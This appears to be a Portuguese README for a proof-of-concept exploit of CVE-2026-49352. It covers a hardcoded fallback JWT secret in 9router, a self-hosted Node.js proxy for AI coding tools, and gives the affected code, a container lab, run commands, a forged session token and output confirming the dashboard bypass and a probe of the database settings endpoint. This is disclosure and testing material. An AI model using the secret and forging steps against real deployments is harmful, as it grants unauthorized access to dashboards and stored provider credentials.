
PoC de Explorabilidade para CVE-2026-49352 (Bypass de Autenticação por Segredo JWT Hardcoded no 9router)
CVE-2026-49352 é uma vulnerabilidade no 9router, um proxy auto-hospedado em Node.js/Next.js para ferramentas de codificação com IA. O JWT de sessão do painel é assinado com um segredo obtido da variável de ambiente JWT_SECRET, mas se essa variável não for definida, tanto o manipulador de login quanto o guard de requisições usam o mesmo literal codificado:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Por estar presente no repositório público, essa string não é segredo algum. Qualquer atacante pode assinar um token com ela e ser tratado como um usuário autenticado do painel.
| Intervalo afetado | Corrigida em |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
O segredo de fallback é definido de forma idêntica em dois arquivos independentes.
src/app/api/auth/login/route.js — emite o token de sessão no login:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — verifica o token em todas as requisições protegidas:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
O sucesso de hasValidToken() é a única condição verificada antes de conceder acesso ao /dashboard e aos endpoints listados em ALWAYS_PROTECTED (incluindo /api/settings/database). Não há consulta a um registro de sessão nem validação da origem do token — uma assinatura válida é tratada como prova de identidade.
O bypass é confirmado e reproduzível contra um build do código afetado. Com JWT_SECRET não definida:
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
A vulnerabilidade só é acionada quando JWT_SECRET nunca foi definida pelo operador — o padrão para a maioria das implantações quick-start / docker-run que pulam a etapa de configuração do ambiente. Implantações que definem explicitamente JWT_SECRET com um valor aleatório não são afetadas, pois SECRET é derivado uma única vez no carregamento do módulo e nunca cai no fallback.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Ferramenta | Versão | Notas |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose necessário |
| Go | ≥ 1.22 | Para executar o exploit localmente |
Dependência externa Go: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Aguarde o aplicativo informar que está pronto e então verifique:
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
Adicione -probe para também requisitar /api/settings/database com o cookie forjado:
go run exploit.go -target http://localhost:20128 -probe
Flags disponíveis:
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Recurso | Link |
|---|---|
| Aviso de segurança | GHSA-jphh-m39h-6gwx |
| Repositório vulnerável | decolua/9router |
| Análise completa — post no blog | return-zero.dev/posts/cve-2026-49352 |
Este repositório destina-se apenas a fins educacionais e à análise local de explorabilidade. Todos os testes foram realizados em um ambiente de container auto-hospedado. Não execute este PoC contra sistemas que você não possua ou para os quais não tenha autorização explícita por escrito para testar.
| Flag | Default | Descrição |
|---|
-target | http://localhost:20128 | URL base da instância do 9router |
-secret | 9router-default-secret-change-me | Segredo JWT de fallback usado para forjar |
-ttl | 36 * 365 * 24h | Janela de validade do token forjado |
-probe | false | Também requisitar /api/settings/database |